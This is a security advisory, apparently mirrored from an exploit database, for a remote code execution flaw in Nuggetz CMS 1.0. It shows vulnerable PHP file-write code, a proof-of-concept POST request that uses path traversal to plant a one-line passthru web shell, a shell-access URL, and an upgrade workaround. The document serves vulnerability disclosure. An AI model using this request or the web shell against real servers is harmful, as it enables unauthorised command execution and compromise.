Lucene search
K

CMS <= 1.0 Remote Code Execution in Nuggetz

🗓️ 10 Dec 2009 00:00:00Reported by Amol NaikType 
zdt
 zdt
🔗 0day.today👁 17 Views

Nuggetz CMS 1.0 Remote Code Executio

Code
===========================================
CMS <= 1.0 Remote Code Execution in Nuggetz
===========================================

#######################################################################
    Remote Code Execution in Nuggetz CMS 1.0
 
    Name            Remote Code Execution in Nuggetz CMS
    Systems Affected    Nuggetz CMS 1.0
    site            http://www.nuggetz.co.uk/
    Author          Amol Naik (amolnaik4[at]gmail.com)
    Date            10/12/2009
#######################################################################
 
 
############
 OVERVIEW
############
 
Nuggetz CMS 1.0 is vulnerable to Remote Code Execution.
 
######################
 Technical Details
######################
 
Vulnerable file: ajaxsave.php
Vulnerable Code:
 
<?php
    $save = str_replace('\"','"',$_POST['pagevalue']);
 
    $nugget = $_GET['nugget'];
 
    $fhandle = fopen("../data/$nugget.nuggetz",'w');
    // Write some data
    fwrite($fhandle,$save);
    fclose($fhandle);
    print $save;
?>
 
This file is used to save any changes done in nugget. The parameter 'nugget' is used to call the file
for ex. support.nugget, which is at /web_dir/data/. The changed values are written back to the respective
nugget. The parameters 'pagevalue' and 'nugget' are not properly sanitized. It is possible to create/edit
files in the web server which leads to creating a new file with php command shell (RCE).
 
######
 PoC
######
 
The following request creates shell.php at /nuggetz/
 
POST /nuggetz/nuggetz/admin/ajaxsave.php?nugget=../../shell.php%00 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: PHPSESSID=4m2iiqdt0q38cna2iemtfel7p3
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
 
pagevalue=<?php passthru($_GET['cmd']); ?>
 
 
Shell Access:
http://localhost/nuggetz/shell.php?cmd=dir
 
#############
 WorkAround
#############
 
Upgrade to Nuggetz 1.0.1
Download:
http://www.nuggetz.co.uk/nuggetz_v1.0.1.zip
 
 
############
 Reference
############
 
http://www.nuggetz.co.uk/versionhistory.htm
 
 
############
 TimeLine
############
 
Bug discovered          : 09/12/2009
Informed Vendor         : 10/12/2009
Vendor released new version : 10/12/2009
Public Disclosure       : 10/12/2009



#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Dec 2009 00:00Current
7.1High risk
Vulners AI Score7.1
17